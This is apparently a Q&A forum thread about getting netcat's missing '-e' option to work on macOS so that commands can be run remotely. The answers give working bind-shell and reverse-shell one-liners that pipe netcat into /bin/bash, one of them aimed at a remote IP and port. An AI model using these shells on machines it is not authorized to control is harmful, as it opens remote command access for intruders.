6

When I try to run nc -l 1337 -e /bin/bash, it says:

nc: invalid option -- e
usage: nc [-46AacCDdEFhklMnOortUuvz] [-K tc] [-b boundif] [-i interval] 
[-p source_port] [--apple-delegate-pid pid] [--apple-delegate-uuid uuid]
      [-s source_ip_address] [-w timeout] [-X proxy_version]
      [-x proxy_address[:port]] [hostname] [port[s]]

I want to run commands remotely, but instead it just remotely prints text. Why is this not working and how can I fix it?

hyph
  • 281
  • 2
  • 13
anonymous
  • 253
  • 3
  • 16
  • 1
    Mac OS is shipping with `a bsd variant of netcat`. I've not even found a way yet to get the version for /usr/bin/nc. But it's possible to install `gnu netcat` with i.e. [homebrew](http://brew.sh) which has this -e option. I have not found out a workaround how to get the same behaviour with the bsd nc command, or i'd add that as an answer. – hyph Mar 19 '17 at 21:10
  • Okay. I can't do that since I'm not the owner of my Mac... :( – anonymous Mar 19 '17 at 21:12
  • 2
    @KeeganKuhn I don't think you have to have any administrative rights. Building from the source might also be an option. Also see the client/server section in [Ubuntu's netcat man page](http://manpages.ubuntu.com/manpages/trusty/man1/nc_openbsd.1.html). While the version is different, the same approach should work with the FreeBSD flavour as well. – undercat Mar 20 '17 at 04:25
  • Submit that as an answer! – anonymous Mar 28 '17 at 00:24

2 Answers2

4

You don't have to use nc -l 1337 -e /bin/bash. Instead, an alternative that works exactly the same is nc -l 1337 | /bin/bash outputs everything it receives into /bin/bash.

Kusalananda
  • 320,670
  • 36
  • 633
  • 936
anonymous
  • 253
  • 3
  • 16
1

Or try nc target port | /bin/bash | nc target port

Example:

nc 192.168.1.10 4444 | /bin/bash | nc 192.168.1.10 4444

It will redirect what it receives from the first nc to /bin/bash and the output from /bin/bash to the second nc. It's a work-around, but it works. :)
Otherwise just install ncat.

guntbert
  • 1,597
  • 1
  • 17
  • 23